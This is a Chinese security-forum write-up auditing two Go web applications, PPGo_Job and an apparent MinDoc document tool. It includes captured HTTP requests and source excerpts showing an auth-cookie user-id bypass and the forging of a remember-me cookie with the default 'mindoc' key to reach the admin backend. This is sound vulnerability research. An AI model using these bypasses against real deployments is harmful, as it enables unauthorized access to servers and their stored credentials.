java很卷,刚好周末有空,来看一下go,就写下了这个。
本文主要是实战go语言编写的两个小程序的漏洞挖掘。
0x01程序一: PPGo
github地址 https://github.com/george518/PPGo_Job
从这里直接下载就行了。
进入文件夹,设置好数据库(创建数据库,导入ppgo_job2.sql
)和配置文件(conf/app.conf
)
运行 ./run.sh start|stop
成功后
表示成功。
开始挖:
先看登录代码
登录代码没有发现什么问题。简单的比较从数据库取的账号密码匹配。
成功后设置auth响应。
先登录成功抓一个包:
POST /login_in HTTP/1.1
Host: maoge:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 30
Origin: http://maoge:8080
Connection: close
Referer: http://maoge:8080/
Cookie: Hm_lvt_8acef669ea66f479854ecd328d1f348f=1616241442,1618728317; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1616723765,1616858080,1616942607; USER_ID_ANONYMOUS=b3acc94ef8cb416eae4a54f0208b0b87; MAIN_NAV_ACTIVE_TAB_INDEX=1; DETECTED_VERSION=2.3.0; ANALYSIS_PROJECT_ID=; PAGINATION_PAGE_SIZE=10; DATA_FILTER_SEARCH=other; sc=M38BEbHqxH5aXtFqEGynxePWh8EuUDGoiEhTw164lDN2Qxdr3XpWXAflnqESg3nn; Hm_lvt_1d2d61263f13e4b288c8da19ad3ff56d=1629280468; uid=MTYzMzk0NzkzOQ==|1633947939543498000|db23261bcc5dff7017756ad873f755dab61521e3; token=Mg==|1633947939543553000|b7794845537943b17f13c40ac378589fb2c15d38; beegosessionID=ffb9e2b7bfff94a8ddecc8dbf1768171
username=admin&password=123456
返回内容
``HTTP/1.1 200 OK
Content-Length: 46
Content-Type: application/json; charset=utf-8
Server: beegoServer:1.11.1
Set-Cookie: auth=1|c2ef80548b36081206a40745cffbca88; Expires=Thu, 02 Dec 2021 05:12:52 UTC; Max-Age=604800; Path=/
Date: Thu, 25 Nov 2021 05:12:52 GMT
Connection: close
{
"message": "登录成功",
"status": 0
}
返回了一个set cookie
应该就是后面的鉴权凭证。
尝试渗透这个页面,页面内有服务器的账号密码,比较有价值。
GET /server/edit?id=5 HTTP/1.1
Host: maoge:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://maoge:8080/home
Cookie: auth=1|c2ef80548b36081206a40745cffbca88
Upgrade-Insecure-Requests: 1
这里直接走到鉴权的代码,架构采用的是beego,通常直接找到prepare,相当于AOP,里面就是鉴权的代码
进入auth方法。
会对auth=1|c2ef80548b36081206a40745cffbca88
进行分隔。
1为 userid ``,c2ef80548b36081206a40745cffbca88
鉴权字段。
跟如auth
- 最开始,self.userId 赋值为 0;
- 然后将auth里面的id传给变量 userId =1;
- 进入if userId>0 ; 获取用户信息根据 id。并且进行鉴权如果成功了设置self.userId 的值为1。
继续往下走
- 判断url是否在
allowUrl
和noAuth
。如果都不在则无权限。明显我们的不满足。 - 如果self.userId=0 且
actionName
和controllerName
满足条件则未授权。否者在鉴权成功。明显我们 self.userId>0 则成功。
看下如何绕过。
如果我们把 userid 设置为 >0 甚至一个不存在的值并且比如 userid 设置为5。
试着走一下
- userId>0 满足走if语句
- 获取到 user 的信息为 nil
- 明显的我们的url不满足
allowUrl
和noAuth
的 if 。 - 走到下面的if 我们的 self.userId>0 不满足,则直接跳过,绕过鉴权。
所以我们只需要将 userid 改为 >1 即可。
0x02程序二
程序二是一个文档管理工具。
文档搭建好以后进入登录页面。
先看登录账号是否存在问题 。
if c.Ctx.Input.IsPost() {
account := c.GetString("account")
password := c.GetString("password")
captcha := c.GetString("code")
isRemember := c.GetString("is_remember")
// 如果开启了验证码
if v, ok := c.Option["ENABLED_CAPTCHA"]; ok && strings.EqualFold(v, "true") {
v, ok := c.GetSession(conf.CaptchaSessionName).(string)
if !ok || !strings.EqualFold(v, captcha) {
c.JsonResult(6001, i18n.Tr(c.Lang, "message.captcha_wrong"))
}
}
if account == "" || password == "" {
c.JsonResult(6002, i18n.Tr(c.Lang, "message.account_or_password_empty"))
}
member, err := models.NewMember().Login(account, password)
if err == nil {
member.LastLoginTime = time.Now()
_ = member.Update("last_login_time")
c.SetMember(*member)
if strings.EqualFold(isRemember, "yes") {
remember.MemberId = member.MemberId
remember.Account = member.Account
remember.Time = time.Now()
v, err := utils.Encode(remember)
if err == nil {
c.SetSecureCookie(conf.GetAppKey(), "login", v, time.Now().Add(time.Hour*24*30).Unix())
}
}
进入验证代码
func PasswordVerify(hashing string, pass string) (bool, error) {
data := trimSaltHash(hashing)
interation, _ := strconv.ParseInt(data["interation_string"], 10, 64)
has, err := hash(pass, data["salt_secret"], data["salt"], int64(interation))
if err != nil {
return false, err
}
if (data["salt_secret"] + delmiter + data["interation_string"] + delmiter + has + delmiter + data["salt"]) == hashing {
return true, nil
} else {
return false, nil
}
}
没有看出来什么问题。获取密码并且加密与之对比。
如果登录成功了 那么设置sessionId。如果设置了remember参数,那么在cookie里面设置login参数。
func (c *BaseController) SetMember(member models.Member) {
if member.MemberId <= 0 {
c.DelSession(conf.LoginSessionName)
c.DelSession("uid")
c.DestroySession()
} else {
c.SetSession(conf.LoginSessionName, member)
c.SetSession("uid", member.MemberId)
}
}
进入到校验session的位置 采用的是beego框架,也直接进入Prepare进去。
if member, ok := c.GetSession(conf.LoginSessionName).(models.Member); ok && member.MemberId > 0 {
c.Member = &member
c.Data["Member"] = c.Member
} else {
var remember CookieRemember
//如果Cookie中存在登录信息,从cookie中获取用户信息
if cookie, ok := c.GetSecureCookie(conf.GetAppKey(), "login"); ok {
if err := utils.Decode(cookie, &remember); err == nil {
if member, err := models.NewMember().Find(remember.MemberId); err == nil {
c.Member = member
c.Data["Member"] = member
c.SetMember(*member)
}
}
}
}
如果session不正确那么走CookieRemember的分支,那么就从GetSecureCookie里面获取login的信息。那么先看看SecureCooki是如何设置的。
这个方法来自于beego的里面的设置cookie的方法,加密方式很简单。但是加入了随机时间戳。我们再来设置的密钥。
func (ctx *Context) SetSecureCookie(Secret, name, value string, others ...interface{}) {
vs := base64.URLEncoding.EncodeToString([]byte(value))
timestamp := strconv.FormatInt(time.Now().UnixNano(), 10)
h := hmac.New(sha256.New, []byte(Secret))
fmt.Fprintf(h, "%s%s", vs, timestamp)
sig := fmt.Sprintf("%02x", h.Sum(nil))
cookie := strings.Join([]string{vs, timestamp, sig}, "|")
ctx.Output.Cookie(name, cookie, others...)
}
app_key 为Secret ,mindoc。
func GetAppKey() string {
return web.AppConfig.DefaultString("app_key", "mindoc")
}
也就是说我们直接使用就可以构造出login,cookie。感觉很像shiro的RememberMe。
SetSecureCookie("mindoc", "login", v, time.Now().Add(time.Hour*24*30).Unix())
然后我们直接在cookie里面加入login字段,既可绕过权限,成功进入后台。
0x03 总结
总的来说,go语言是一门相对简单的语言相比其他语言而言。go语言的框架有非常多并且很精巧,不过轮子都差不多,知一通百。
- 本文作者: maoge
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/928
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!